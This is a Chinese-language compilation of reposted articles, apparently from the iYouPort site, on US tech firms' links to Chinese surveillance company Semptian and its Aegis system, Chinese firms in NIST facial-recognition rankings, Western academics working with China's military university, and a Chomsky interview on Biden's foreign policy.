73%的受访者表示，他们同意政府应该对人工智能进行监管。只有9%的人不同意，18%的人表示“中立”。〇

How tech workers feel about China, AI and Big Tech’s tremendous power

原文

美国科技巨头如何帮助中国建立大规模监视系统 - iYouPort

作恶者：谁在帮中国关于高堡奇人

如果没有美国的鼎力支持，中国的大规模监视能力恐怕不会如今天这般强大……《作恶者：谁在帮中国》板块不断更新中。

「图」

「图」

由美国科技巨头谷歌和 IBM 创立的美国组织正在与一家帮助中国威权政府对其公民进行大规模监视的巨头公司密切合作。

OpenPower 基金会是由谷歌和 IBM 高管领导的、自称旨在“推动创新”的非盈利组织 —— 该基金会已经与 IBM、中国最臭名昭著的监视技术公司之一 Semptian、以及美国芯片制造商 Xilinx 建立了深刻的合作关系。

他们一直在共同努力推动一系列微处理器的发展，使计算机能够更有效地分析大量数据 —— 这对监视技术的升级来说非常重要。

据消息来源和内部文件显示，⚠总部位于中国深圳的 Semptian 正在利用这些设备增强其为中国侵犯人权的维稳机构提供的互联网监控和审查技术的能力。

Intercept 引述的一名该公司员工表示，⚠该公司的技术被用于秘密监控2亿人的互联网活动。

Semptian、Google 和 Xilinx 都没有回应置评请求。

OpenPower 基金会在一份声明中表示，由于反托拉斯法和竞争法，它“不会参与或寻求了解其成员的个人业务战略、目标或活动”。

一位 IBM 发言人表示，他的公司“尚未与 Semptian 就联合技术开发合作”，但拒绝回答进一步的问题。

熟悉 Semptian 运营的消息人士表示，⚠Semptian 曾通过名为 SuperVessel 的协作云平台与IBM合作，该平台由**IBM**在中国的研究部门维护。

参议院情报委员会副主席 D-Va 参议员 Mark Warner 告诉 The Intercept，他对这些揭露感到震惊。

“看到中国成功招募西方巨头公司和高科技研究人员协助他们进行信息监控工作，这令人不安，” Warner 说。

大赦国际的研究员 Anna Bacciarelli 表示，OpenPower 基金会与 Semptian 合作的决定引发了对其遵守国际人权标准的质疑。

“所有公司都有责任在整个运营和供应链中进行人权尽职调查，” Bacciarelli 说，“包括通过合作伙伴关系。”

Semptian 公开表示自己是一家与互联网提供商和教育机构合作的“大数据”分析公司。

然而，这家中国公司业务的很大一部分实际上是通过一家名为 **iNext** 的前线公司产生的，该公司专门向政府出售互联网监控和审查工具。

iNext 在中国的办公室与 Semptian 一样，两家公司都在深圳繁忙的南山区的八楼。 **Semptian** 和 **iNext** 也共享了**200**名员工和同一创始人陈龙森。

在收到关于 Semptian 在大规模监控中的角色的机密消息来源的提示后，一名记者使用假名字与该公司联系，并冒充潜在客户。

作为回应，一名 Semptian 员工发送的文件显示，⚠该公司—以 iNext 为幌子—开发了一个名为 Aegis 的大规模监控系统，据称可以“存储和分析无限数据”。

该公司在文件中声称，⚠这个**“Aegis”**可以提供“虚拟世界的全景图”，允许政府间谍看到“每个人之间的联系”，包括“中国所有人的地理位置信息”。

根据熟悉 Semptian 工作的两位消息人士透露，⚠Aegis 监视设备已被置于中国的电话和互联网中，使该国政府能够秘密收集人们的电子邮

件记录、电话、短信、手机位置和网页浏览历史。

⚠中国国安机构很可能会利用这项技术瞄准人权活动家、支持民主的倡导者以及任何习近平政权的批评者：消息人士称，由于害怕报复而不愿透露姓名。

在电子邮件中，一位 Semptian 公司代表表示，⚠该公司的 Aegis 大规模监控系统正在中国处理大量个人数据。

“Aegis 的能力是无限的，我们在中国处理超过2亿人的数据，每秒数千兆比特，” Semptian 员工 Zhu Wenying 在四月份的一则消息中写道。

中国估计有8亿互联网用户，这意味着如果 Zhu 的数字准确，Semptian 的技术正在监视该国四分之一的在线人口。

牛津大学互联网研究所的高级研究员 Joss Wright 说：“世界上没有多少系统可以达到这种监视范围。”

Wright 说，Semptian 有可能夸大其数据。

然而，他补充说，一个能够利用如此大量数据的系统在技术上是可行的。

“这是一项巨大的监视工程”。

熟悉 Semptian 在中国工作的两位消息人士表示，该公司的设备不会随意抽取并随机存储数百万人的数据。

相反，该消息人士称，⚠该设备可以监视任何通过电话和互联网网络的通信，并且它可以过滤掉与特定的单词、短语或人物相关的信息。

为了回应有关该监视工具 Aegis 如何运作的更多细节的视频请求，Zhu 先生同意发送一个视频，只要卧底记者签署保密协议。

Intercept 公布了一段16分钟的该视频节选，在这里看到，因为其内容具有压倒性的公众价值 —— 这表明中国数百万人正在受到政府监视。Intercept 删除了可能侵犯个人隐私的信息。

Semptian 的视频演示展示了监视工具 Aegis 系统如何跟踪人们的一举一动。

⚠只要政府官员输入一个人的手机号码，Aegis 就可以显示该设备在给定时间段内的具体位置：过去三天、最后一周、最后一个月或更长时间。

该视频显示了中国大陆的完整地图，并演示了如何跟踪在深圳的一个人穿越城市，从机场、公园和花园、到会议中心、到酒店、以及制药公司的办公室。

⚠该技术还可以允许政府搜索特定的即时消息、电子邮件地址、社交媒体帐户、论坛用户、博客评论者、或其他标识符 —— 如手机 IMSI 或计算机 MAC 地址，一系列独特的数字与每个设备直接相关。

⚠在许多情况下，该监视系统似乎可以收集通信的全部内容，例如电话录音、或文本消息的书面正文，而不仅仅是元数据，而且，可以显示电子邮件的发件人和收件人、谁在打电话给谁的电话号码。

⚠该监视系统是否可以访问消息的完整内容，可能取决于消息本身是否受到了强加密保护。

注：请选择绝对强加密保护通信工具，具体参照详见《"安全手册"》。

Semptian 的员工 Zhu 在电子邮件中写道，该公司为政府提供 **Aegis** 装置，能够监控**500**万人的互联网活动，费用在**150**万美元到**250**万美元之间。要窃听其他通信，成本会增加。

“如果添加监视电话、短信、地理位置的功能，根据网络的不同，将增加200万至500万美元。”

2015年9月，Semptian 加入了 OpenPower 基金会，⚠这是一家由科技巨头谷歌和IBM创立的美国非营利组织。该基金会"现任总裁"是 **IBM** 的 **Michelle Rankin**，其主管是 **Google** 的 **Chris Johnson**。

该基金会在新泽西州注册为“社区改善”组织，其目标是分享网络、服务器、数据存储和数据处理技术的进步。

据其网站称，它希望“让今天的数据中心重新思考他们的技术方法”，以及“推动创新并在行业中提供更多选择”。

⚠这个中国的监视巨头 Semptian 受益于与美国科技寡头公司的合作，获得了丰富的专业知识和新技术。

这家中国监视公司在其网站上称自己 “积极地与 IBM 和 Xilinx 等世界级公司合作”；它声称，⚠它是亚太地区唯一一家能够为其客户提供在这些美国公司的帮助下开发的新数据处理设备的公司。

去年，OpenPower 基金会在其网站上表示，Semptian 正在与IBM、Xilinx和其他美国公司合作，为此感到“高兴”。

⚠该基金会表示，它还“与中国的一些优秀大学和研究机构合作。”

12月，OpenPower 的高管们在中国的北京、东城区的五星级喜来登大酒店，举办了一次峰会。

一位消息人士告诉 The Intercept，**Semptian** 代表受邀参加了那次峰会。并向他们的美国同行展示了他们为“舆论监测”等目的而开发的新视频分析技术。

目前还不清楚为什么美国科技巨头选择与 Semptian 合作；⚠该决定可能已被视为与中国建立更紧密联系并进入这个东亚国家利润丰厚市场的更广泛战略的一部分。

美国 OpenPower 基金会的发言人拒绝回答有关该组织与中国监视巨头 Semptian 合作的问题，只是说“通过基金会提供的技术是通用的，可在全球范围内商业化，并且不需要美国出口许可证。”

政策智囊团新美国安全中心的兼职高级研究员 Elsa Kania 说，在某些情况下，美国和中国公司之间的商业伙伴关系和学术合作是重要的和有价值的，“但是当它是一家与审查或监视密切相关的公司、并且在滥用人权方面深刻同谋时，这事就非常令人担忧了”。

“我希望美国公司在参与之前有严格的道德审查程序，” Kania 说，“但是很多时候，利润高于道德”。

Semptian 成立于2003年，多年来一直是中国政府信赖的合作伙伴。

中共政权授予该公司以 “国家高新技术企业”的地位，这意味着它通过了中国科技部的各种审查和审计。

获得这种特殊地位的公司将获得政府赠予的优厚待遇，包括税收减免和其他支持。

2011年，德国新闻杂志 Der Spiegel 就发表过一篇文章，强调了 Semptian 与中国政府的密切关系。

正是该监视公司帮助建立了中国所谓的防火墙**GFW**的一些方面，这是一个强大的互联网审查制度，可以阻止共产党认为不受欢迎的任何网站，例如关于人权和民主的网站。

Spiegel 当时就报道说，⚠Semptian 的“网络控制技术正在中国一些主要城市使用” —— 请注意，那是2011年。

到2013年，Semptian 已开始⚠在全球推广其产品。该公司的代表前往欧洲，他们出现在巴黎东北部会议厅举行的安全（维稳）贸易展览会上。

文件显示，在这一事件中，⚠Semptian 通过展示“国家防火墙”向国际政府官员提供了复制中国互联网监视模式的机会，该公司表示：可以“阻止来自互联网的任何不良信息”。

仅仅两年后，Semptian 在美国 OpenPower基金会的成员资格就获得了批准，该公司开始使用美国技术使其监控和审查系统变得更加强大。〇

HOW U.S. TECH GIANTS ARE HELPING TO BUILD CHINA’S SURVEILLANCE STATE

原文

美国老大哥锦标赛上的中国"状元" - iYouPort

中国-半壁高堡奇人关于高堡奇人

一家中国监视技术公司获得了美国政府批准的老大哥锦标赛状元，这是哪家公司？

去年，中国警方在一个流行音乐会上逮捕了一名男子，因为警方在会场安装了一个面部识别系统，此人被算法标记为犯罪嫌疑人。该监视软件是由上海创业公司 Yitu Tech 开发的。但是请注意，该公司以美国政府批准的测试结果为荣。

中国的 Yitu 是美国国家标准与技术研究院运行的测试项目的“最佳表现者”，该项目被认为对于快速发展的面部识别行业“至关重要”。超过60家公司参加了最新一轮的测试。这项排名由来自俄罗斯和中国的参赛者主导，这些政府都看好面部识别的监视能力并且相对不关心隐私。

“它被认为是行业标准，用户依赖NIST的商业基准进行决策，中国和国际客户都在询问这项技术“，Yitu 硅谷前哨的负责人 Shuang Wu 说。

Yitu 的技术被警察、地铁站、和 **ATM** 广泛使用。它目前在 NIST 的两个主要测试中排名第一，这项测试是挑战算法能力检测两张照片何时显示相同的脸部。该任务是检查护照或控制对建筑物和计算机系统的访问权限的核心。

排名中接下来五个表现最好的公司都是俄罗斯人或中国人的公司。当美国国务院去年6月选择总部位于巴黎的 Idemia 提供的用于筛选护照申请的软件时表示，已经选择了“最准确的非俄罗斯或中国软件”来管理其存档的3.6亿张面孔。

在随后的一轮测试中，美国创业公司 Ever AI 排名第七，成为俄罗斯和中国之外表现最强监视能力的公司。Ever AI 首席执行官 Doug Aley 表示，“自从 NIST 业绩出现以来，客户流量一直非常稳定”，其中包括来自政府机构的新兴趣。

NIST 是美国商务部的一个部门，其使命是通过推进计量科学来提升美国的竞争力。其面部识别供应商测试计划始于2000年，是在五角大楼的支持下，在众多美国机构对使用该技术产生兴趣之后。

从那以后，NIST 一直在追踪旨在仔细检查人类面貌的算法的稳步改进，并开发了新的测试方案以跟上发展。该机构现在在马里兰州盖瑟斯堡的一个地下计算机房中测试算法，使用数百万个来自政府机构的照片数据。

另一项 NIST 测试模拟了警方调查员使用面部识别的方式，要求算法在人山人海中搜索特定的面部。在2010年，最好的软件可以在大约92%的时间内从160万个面部照片中准确找到某个特定的人。

该测试中表现最好的老大哥是微软，这是11月份 NIST 第一次测试结果。接下来的三位“最佳”都是俄罗斯人和中国人，其中 Yitu 是第四位，Ever AI 排在第五位。在美国国家标准与技术研究院最新报告中列出的60多个参与者中，有13个来自美国，12个来自中国，7个来自俄罗斯。

对于俄罗斯和中国以外的公司而言，只要在 **NIST** 的排名上表现得很好，就能打开与美国政府签订合同的大门。NEC 联邦运营副总裁 Benji Hutchinson 说：“联邦机构不会在没有与NIST核实的情况下做出购买决定。” 该公司与政府、国土安全部和国防部门签订了面部识别合同，其技术正在接受测试，以检查美国几个机场的国际旅客身份。

微软总裁 Brad Smith 在去年12月的一篇博客文章中吹捧了该公司在新的 NIST 结果中的成绩，该文章呼吁对该技术进行联邦法规管理，并强调了独立测试的重要性。但是，该公司拒绝回答关于其进入该计划的决定以及对政府面部识别合同的兴趣，在最近的证词中微软一直在为政府使用该技术进行辩护，"反对"华盛顿州法案限制面部识别。

IBM和亚马逊都向当地的执法机构出售面部识别技术，但都没有将其技术提交给NIST的测试。亚马逊在1月份表示，它尊重NIST的测试，但其技术与亚马逊的云计算平台深度整合，无法发送到盖瑟斯堡。

IBM 计算机视觉研究经理 John Smith 说，该公司正在与 NIST 合作，在决定是否参与之前，扩大其面部识别在不同人群中的表现。

实验表明，亚马逊的技术在黑人的脸部识别上犯了更多错误，而且 IBM 和微软的面部分析软件对于皮肤较暗的女性来说不那么准确，科

技公司和他们的批评者已经越来越担心面部识别中的人口偏差。亚马逊对调查结果提出异议，微软和 IBM 表示他们已经升级了系统。

华盛顿大学的研究员 Os Keyes 说，这些研究结果表明，面部识别必须进行比通过实验室准确性测试更广泛的审查。

Keyes 去年发表了一篇论文，批评 NIST 和其他人开发的性别识别软件，这种软件不考虑跨性别者，可能会给已经被边缘化的群体带来问题。2015年 NIST 关于性别识别软件测试的报告表明，该技术可用于女性浴室或更衣室的报警系统，以便在男性进入时发出警报。“**NIST** 需要雇用伦理学家或社会学家来评定技术，他们应该走出实验室看看这些技术的影响，”Keyes 说。

负责测试的 NIST 科学家之一 Patrick Grother 表示，他的团队正在扩大对面部识别技术人口统计差异的测试，并以自己的方式帮助解决技术中的潜在缺陷。

尽管对种族和性别偏见的讨论有所增加，但需要做更多的工作来确定如何测试和测量它，Grother 说，并补充说 NIST 可以通过推进检测和跟踪它们的科学来帮助行业解决任何问题。“我们试图将阳光和氧气带到市场。”

特朗普似乎希望 **NIST** 在维持人工智能发展方面发挥更积极的作用。他上个月签署的一项行政命令旨在鼓励人工智能在美国的发展，并指示该机构制定标准和工具，以鼓励“可靠，强大，值得信赖”的人工智能系统。

WHY CHINESE COMPANIES PLUG A US TEST FOR FACIAL RECOGNITION? The rankings are dominated by entrants from Russia and China, where governments are bullish about facial recognition and relatively unconcerned about privacy.

原文

美国高端学者正在帮助中国当局追踪其公民 - iYouPort

作恶者：谁在帮中国关于高堡奇人

英国“金融时报 ”发布的一份报告显示，西方学者正在帮助中国政府监测其公民的一举一动，其中越来越先进的监控技术以人工智能为基础。

英国“金融时报” Madhumita Murgia 的报告指出，至少有九篇学术论文是由美国学者和那些向中国政府出售监控技术的公司、或者与国家军队有联系的机构 如中国国防科技大学（NUDT）共同撰写的。

中国公民是世界上最受关注的人群之一。 全国有超过1亿台闭路电视摄像机，政府使用它们来跟踪和控制人们去了哪里以及做了什么。

人权活动人士对中国政府如何利用监控技术瞄准新疆地区的维吾尔人提出了特殊的问题，人们普遍担心北京在监视方面走得太远 —— 变成了老大哥之国。

英国“金融时报”确定的研究伙伴关系揭示，西方学者正在与中国当局在侵犯人权方面同谋。

这涉及诺基亚贝尔实验室、普林斯顿大学、麻省理工学院、伊利诺伊大学厄巴纳—香槟分校、和澳大利亚悉尼大学等组织，据英国“金融时报”报道，他们都拒绝发表评论。

有趣的是，有四位美国学者与谷歌相关。

谷歌高级职员研究科学家托马斯·法克豪瑟（Thomas Funkhouser）去年在普林斯顿大学担任客座教授期间，曾与两名NUDT科学家一起工作。三人组研究了计算机视觉如何用于无人驾驶飞机和无人水下航行器。他们的论文可以在这里找到。 Funkhouser 拒绝发表评论。

据报道，谷歌的工作人员与中国的研究人员和企业合作。

Google 的一位发言人就此辩称，这些是大学研究人员撰写的学术论

文—“谷歌没有参与这些项目，也没有与中国大学建立合作关系”。

美国和中国正在主宰世界人工智能“竞赛”，但中国正在对此大力投资以获得优势。中国还将本国科学家派往西方大学，以获得海外人工智能方面的专业知识。

在澳大利亚战略政策研究所研究中国共产党的研究员 Alex Joske 说，近年来有数千名科学家与中国军队有联系。

“就如在普林斯顿大学的那些人，是在过去十年中被派往国外作为博士生或访问学者的数千名[中国军队]官员和干部。

“我认为这真的令人担忧，因为大学无法确保他们帮助这些[实体]发展和改进的技术将以何种方式方式被使用。

Researchers At U.S. Universities Are Reportedly Helping China To Track Its Citizens

原文

诺姆·乔姆斯基（Noam Chomsky）：拜登的外交政策与特朗普在很大程度上没有区别 - iyouport

关于高堡奇人地缘政治

任何黑手党老大都会明白—— 把世界秩序比作黑手党有相当的道理。

US President Joe Biden waves as he boards Air Force One at Joint Base Andrews, Maryland on March 26, 2021. – Biden is travelling to Wilmington, Delaware for the weekend. (Photo by OLIVIER DOULIERY / AFP) (Photo by OLIVIER DOULIERY/AFP via Getty Images)

【按】我们在去年底的对话中已经预测了这点：拜登政府将没有区别，但乔姆斯基更加深入地分析了局势，以及历史。

在4月初，我们发布 “外交政策” 杂志那篇有点奇怪的文章时，有读者提醒了三种对中国外交的 “主流” 观点：支持新冷战的所谓鹰派、反对新冷战的自由派、讲求战术优雅的 “智囊派”。但乔姆斯基不属于这些派别中的任何一种，因为他不是 “主流”。

乔姆斯基代表反抗者的观点，这篇文章就是美国反抗者长期观点的一个整合。更令人兴奋的是，乔姆斯基三次提到了公民反抗对政权施加压力以扭转可怕局势的可行性，这超越了普通的异议，将局势分析置于反抗战略的角度上。

这是中国知识分子在进行局势分析时经常欠缺的重要部分。

而且这篇文章很全面，并不仅仅关于中国，而是外交政策整体，对国际关系理解是一个完整的参考。

📌 乔姆斯基在2020年出版的新书《Chomsky for Activists》非常值得您阅读。在这里，这位世界著名作家首次深入地讲述了他的行动主义生涯，以及他的观点和战术。乔姆斯基提供了他作为一个活动家的

一生经历的新的和亲密的细节，揭示了他是一个具有深刻信念的批评家，对反抗运动战略有着许多令人惊讶的见解。这本书为今天的活动家指出了新的方向，读者将从中找到希望和走向可持续的、民主世界的新途径。

在这里下载：https://www.patreon.com/posts/zai-min-zhu-zui-49971739

乔·拜登总统的国内政策，尤其是经济方面的政策，相当令人鼓舞，为更美好的未来带来了许多希望。但是，该政府的外交政策议程却不能这么说，诺姆·乔姆斯基在这次接受Truthout的独家采访中，以其透彻的见解和精辟的分析揭示了这一点。乔姆斯基是世界著名知识分子，麻省理工学院名誉教授，亚利桑那大学语言学名誉教授。

C.J.Polychroniou：拜登入主白宫两个月后他的外交政策议程已初具规模。到目前为止，有什么迹象表明拜登政府打算如何应对主要地缘政治对手，即 俄罗斯和中国对美国霸权的挑战？

乔姆斯基：俄罗斯尤其是中国对美国霸权的挑战已经成为外交政策讨论的一个重要主题一段时间了，华盛顿内部对这种威胁的严重性一直有着一致的看法。

这个问题显然是复杂的。当人们对一些复杂的问题达成普遍共识时，用怀疑的眼光看问题是一个好的经验法则。在这件事上也不例外。

我认为，我们普遍发现的是，俄罗斯和中国有时会阻止美国在其周边地区实施其全球霸权的行动，而这些地区是它们特别关注的。我们可以问，它们这样寻求限制美国压倒性力量的做法是否合理，但这与人们通常理解的“挑战”方式相去甚远，这是挑战指的是：通过新的霸权中心取代美国在维持以自由主义规则为基础的国际秩序方面的全球作用。

俄罗斯和中国是否真的以通常被理解的方式挑战了美国的霸权？

除了军事力量是其早期作为第二超级大国地位的（非常危险的）残余之外，俄罗斯并不是当今世界舞台上的主要角色。在外延和影响力方面，它已经无法与美国相提并论。

中国经历了惊人的经济增长，但中国在任何方面都还远远没有接近美国的实力。中国仍然是一个相对贫穷的国家，在联合国人类发展指数中排名第85位，位于巴西和厄瓜多尔之间。美国虽然因为其社会福利

记录不佳而排名不靠前，但却远远高于中国。在军事实力和全球影响力(军事基地、现役部队)上，中国和美国更是没有可比性。以美国为基地的跨国公司拥有世界财富的一半左右，在几乎所有类别中都是全球第一（有时是第二）。中国则远远落后。中国还面临着严重的内部问题（生态、人口、政治）。相比之下，美国拥有任何地方都无法比拟的内部和安全优势。

就拿制裁来说吧，制裁是地球上一个国家行使世界权力的主要工具：美国依旧是全球第一，而且它们是第三方制裁。违抗美国，你就会倒霉。你可能会被扔出世界金融体系，或者更糟。无论在哪里看都差不多。

- 如果您错过了 《中国与两党关系的危险》

如果审视下历史，你会发现1947年阿瑟·范登堡参议员对总统的建议经常有回音，即：如果总统想让美国人民对俄罗斯威胁接管世界产生疯狂的恐惧，他应该 “把人们吓得屁滚尿流”。正如战后秩序的创造者之一迪安·艾奇逊所解释的那样，有必要 “比真相更清楚”。他指的是1950年的NSC-68号文件，这是一份冷战的创始文件，几十年后解密。今天，这份文件中的言辞以这样或那样的形式继续响起，关于中国。

NSC-68号文件呼吁进行大规模的军事集结，并对我们这个危险的自由社会施加纪律，以便我们能够抵御 “奴隶国家” 的 “无情的目的……消除对自由的挑战”，在各地建立 “对所有人的完全权力 [和] 对世界其他地方的绝对权威”。等等，洋洋洒洒，令人印象深刻。

中国确实在对抗美国的力量—— 在南海，而不是大西洋或太平洋。还有一个经济上的挑战。在某些领域，中国是世界的领头羊，尤其是可再生能源方面，无论是规模还是质量都远远领先于其他国家。中国也是世界制造业的基地，不过利润大多流向了其他地方，流向了像台湾富士康这样的管理者或美国苹果公司的投资者，而苹果公司越来越依赖知识产权 —— 高昂的专利权是高度保护主义的所谓 “自由贸易” 协议的核心部分。

- 如果您错过了《条条大路通北京》
- 《中国的银河帝国，和高堡奇人》

中国的全球影响力肯定在投资、商业、接管设施（如以色列主要港口的管理）方面不断扩大。与西方国家囤积疫苗、阻碍 “人民疫苗” 的销售以保护企业专利和利润相比，如果中国能够以几乎是成本价的方

式提供疫苗，那么这种影响力很可能会继续扩大。中国在高科技方面也有很大的进步，这让美国感到非常震惊。

但是，把所有这些都视为对美国霸权的挑战是相当奇怪的。

美国的政策可能会通过对抗和敌对的行为，促使俄罗斯和中国更加紧密地反应，从而帮助制造更严重的挑战。事实上，这种情况一直在发生，在特朗普的领导下和在拜登的最初几天 —— 尽管拜登确实在最后一刻回应了俄罗斯关于延长限制核武器的《新裁武条约》的呼吁，挽救了逃避特朗普破坏性军备控制制度的一个主要内容。

显然，现在需要的是在有争议的问题上进行外交和谈判，在全球变暖、军备控制、未来流行病等关键问题上进行真正的合作—— 这些都是不分国界的非常严重的危机。拜登的鹰派外交政策团队是否有智慧朝这些方向发展，目前最好的情况是不清楚，最坏的情况是足够可怕的。如果没有重大的民众压力，前景并不乐观。

另一个需要民众关注和积极行动的问题是通过寻求伤害潜在对手来保护霸权地位的政策，在中国，这种政策非常公开，而在美国也是如此，有时其手段令人难以置信。

一个显著的例子埋藏在 “卫生和公共服务部” 2020年年度报告中，该报告由部长亚历克斯·阿泽自豪地提出。在 “打击美洲的恶性影响” 的小标题下，该报告讨论了该部全球事务办公室（OGA）的努力：

… 以减轻包括古巴、委内瑞拉和俄罗斯在内的国家的能力，这些国家正在努力增加其在该地区的影响力，以损害美国的安全和保障。美国政府办公厅与其他美国政府机构协调，加强外交关系，并提供技术和人道主义援助，以劝阻该地区的国家不要接受这些居心叵测的国家的援助。例子包括利用*OGA*的卫生专员说服巴西拒绝俄罗斯的*COVID-19*疫苗，并提供疾病预防控制中心的技术援助，以取代巴拿马接受古巴医生的提议。

总之这份报告是想说，在大流行病肆虐的情况下，“我们必须阻止帮助不幸受害者的其他国家的举措”。

在总统贾伊尔·博索纳罗怪异的管理不善下，巴西已经成为全球未能应对疫情的恐怖故事，尽管该国有杰出的卫生机构和过去在疫苗接种和治疗方面的良好记录。现在该国正遭受着疫苗严重短缺的困扰，因此美国以阻止巴西使用俄罗斯疫苗为荣，而西方卫生当局已经承认这种疫苗可与这里使用的莫德纳和辉瑞疫苗相媲美。

更令人吃惊的是，正如总部设在欧盟的《Brasil Wire》这篇文章的作者所评论的那样，“美国劝阻巴拿马接受古巴医生的协助，而古巴医生一直在全球抗击疫情的第一线，在40多个国家工作”。我们必须保护巴拿马不受世界上唯一一个国家的“恶性影响”，以表现出拯救世界灾难所需的国际主义，全球霸主是必须被制止的罪行。

华盛顿几乎从1959年古巴独立的第一天起，就致力于粉碎古巴，这是现代历史上最特别的现象之一，但其程度还是让人不断地感到惊讶。

C.J.Polychroniou：关于伊朗问题，似乎也没有希望的迹象，因为拜登政府已经任命理查德·内普休为副伊朗特使，他是奥巴马时期对伊朗实施虐待性制裁的设计师，对吗？

乔姆斯基：拜登采纳了特朗普的伊朗计划，几乎没有任何变化，甚至在言辞上也没有变化。值得回顾一下事实。

特朗普违反联合国安理会第2331号决议（该决议要求所有国家都必须遵守JCPOA），并违背了所有其他签署国的意愿，退出了美国对JCPOA（核协议）的参与。当联合国安理会成员坚持遵守2331号决议不延长联合国制裁时，美国国务卿迈克·蓬佩奥（Mike Pompeo）让他们滚蛋。“霸权”的表现令人印象深刻。特朗普实施了极其严厉的新制裁，其他国家也必须遵守，目的是给伊朗人造成最大的痛苦，这样也许伊朗政府就会屈服，接受特朗普的要求，用新的协议取代JCPOA，对伊朗施加更严厉的限制。这场大流行提供了折磨伊朗人的新机会，剥夺了他们急需的救济。

此外，伊朗有责任采取谈判的第一步行动，通过终止它对特朗普的犯罪行为所采取的行动来屈服于这些要求。

正如我们以前所讨论的那样，特朗普要求改进《联合行动纲领》是有道理的。更好的解决方案是在中东建立一个无核武器区（或无大规模杀伤性武器区）。只有一个障碍：美国不会允许，而且在国际论坛上出现这一提议时，美国会否决，奥巴马时代就能看到这一点。原因很好理解：为了保护以色列的主要核武库不被检查，这是必要的。美国甚至没有正式承认其存在。这样做会损害美国对以色列的大量援助，可以说是违反了美国法律，这是两个政党都不想打开的大门。这又是一个连讨论都不会讨论的话题，除非民众的压力使得这种压制成为不可能。

- 如果您错过了《“只管去做，别问问题”：走进以色列利润丰厚且秘密的网络监视行业内部》

在美国的语话中，特朗普之所以受到批评，是因为他折磨伊朗人的政策没有成功地让其政府屈服。这种立场让人想起奥巴马对与古巴建立有限关系的举动大加赞赏，因为正如他所解释的那样，在我们为古巴带来民主的努力失败后，我们需要新的战术 —— 即 在1962年的导弹危机中导致几乎灭亡的恶性恐怖战争，以及受到联合国大会一致谴责的无比残酷的制裁（以色列除外）。同样，我们在印度支那的战争 —— 第二次世界大战以来最严重的罪行—— 被批评为 “失败”，入侵伊拉克也是如此，这是纳粹战犯被绞死的 “最高国际罪行” 的教科书示例。

- 如果您错过了《应许之地的虚假承诺》

这些都是一个真正的霸权者的特权之一，对外国人的冷嘲热讽免疫，对那些曾被一位尖刻的批评家称为 “独立思想的群落” 的人的支持充满信心，这些人是大部分受过教育的阶层和政治阶层。【关于这点的更详细解释可参见《谁才是宣传者》】

拜登接手了特朗普的整个计划，没有任何改变。而为了进一步往伤口上撒盐，他任命理查德·内普休为伊朗副特使。内普休在他的《制裁的艺术》一书中解释了自己的观点，他在书中概述了正确的 “战略，即仔细、有条不紊、高效地在对方脆弱的领域增加痛苦，同时避开那些不脆弱的领域”。折磨伊朗人的政策就是这样的战略，因为他们大多数人所鄙视的政府不会屈服于华盛顿的要求。

美国政府对古巴和伊朗的政策为我们提供了非常有价值的启示，让我们了解这个世界在帝国强权的统治下是如何运作的。

古巴自1959年独立以来，一直是美国不懈的暴力和酷刑的目标，达到了真正的虐待狂程度—— 精英阶层几乎没有一句异议。幸运的是，美国是一个异常自由的国家，所以我们可以获得解密的文件记录，解释惩罚古巴人的努力的凶猛程度。国务院早年解释说，菲德尔·卡斯特罗的罪行是其 “成功地藐视” 了自1823年门罗主义以来的美国政策，该政策宣布了华盛顿控制半球的权利。需要采取明显的严厉措施来扼杀这种努力，任何黑手党老大都会明白—— 把世界秩序比作黑手党有相当的道理。

自1979年以来，伊朗的情况也是如此，当时人民起义通过军事政变推翻了美国安插的暴君，使伊朗摆脱了议会制。在沙赫暴政和极端侵犯人权的岁月里，以色列与伊朗的关系非常密切，和美国一样，对沙赫被推翻感到震惊。以色列事实上的驻伊朗大使乌里尔·卢布拉尼表示，他 “坚信” 起义可以被镇压，沙赫可以复辟，“用一支相对较小的力

量，坚定、无情、残酷。我的意思是说，领导这支部队的人将不得不在情感上适应他们将不得不杀死一万人的可能性。”

美国当局几乎同意。卡特总统派北约将军罗伯特·E·休伊瑟前往伊朗，试图说服伊朗军方承担这项任务—— 最近公布的内部文件证实了这一猜测。他们拒绝了，认为这是没有希望的。不久之后，萨达姆·侯赛因入侵伊朗 —— 在里根政府的全力支持下，这次攻击杀死了数十万伊朗人，甚至当萨达姆诉诸化学武器时，先是对伊朗人，然后在哈拉卜贾暴行中对伊拉克库尔德人。

- 如果您错过了《两个时代，同一种政治毒品》

里根保护他的朋友萨达姆，把罪行归咎于伊朗，并阻止国会的谴责。然后，他转而用海湾地区的海军部队直接对萨达姆进行军事支持。其中一艘名为“文森尼斯”号的舰艇，在有明确标识的商用空域击落了一架伊朗民用客机，造成290人死亡，返回其基地后受到了皇家仪式的欢迎，指挥击毁民用客机的指挥官和飞行军官被授予了荣誉勋章。

伊朗认识到自己无法与美国抗衡，实际上已经投降了。华盛顿随后对伊朗实施了严厉制裁，同时奖励萨达姆的方式，急剧增加了对伊朗的威胁，而伊朗当时刚刚从一场毁灭性的战争中走出来。老布什邀请伊拉克核工程师到美国接受核武器生产方面的高级培训，这对伊朗来说不是小事。他推动了农业援助，而萨达姆在对伊拉克库尔德人进行化学武器攻击，破坏了富饶的农业地区后，该国急需农业援助。老布什派出一个由共和党参议院领袖鲍勃·多尔（后来的总统候选人）率领的高级代表团前往伊拉克，向萨达姆侯赛因表示敬意，向他保证，美国之音对他的批评性评论将受到限制，并劝告萨达姆侯赛因，他应该无视新闻界的批评性评论，这是美国政府无法阻止的。

那是1990年4月的事。几个月后，萨达姆侯赛因不服从(或误解)命令，入侵科威特。然后一切都变了。

几乎一切都变了。对伊朗“成功的反抗”的惩罚仍在继续，严厉的制裁，以及比尔·克林顿总统的新举措，他发布行政命令并签署国会立法，制裁对伊朗经济基础 —— 石油部门的投资。欧洲反对，但没有办法避免美国的域外制裁。

美国企业也受到了影响。普林斯顿大学中东问题专家赛义德·侯赛因·穆萨维安（Seyed Hossein Mousavian）是伊朗核谈判代表的前发言人，他报告说，伊朗曾向美国能源公司 **Conoco** 提供了一份价值10亿美元的合同。克林顿的干预，阻止了这笔交易，关闭了一个和解的机

会，这是穆萨维安评论的许多案例之一。

克林顿的行动是一个普遍模式的一部分，是一个不寻常的模式。通常情况下，特别是在与能源有关的问题上，美国政策大多符合亚当·斯密对18世纪英国的评论，在那里，拥有私人经济的“人类主人”是政府政策的“主要设计师”，并采取行动确保他们自己的利益是最重要的，无论对其他人，包括英国人民的影响是多么“悲惨”。例外的情况很少，而且具有指导意义。

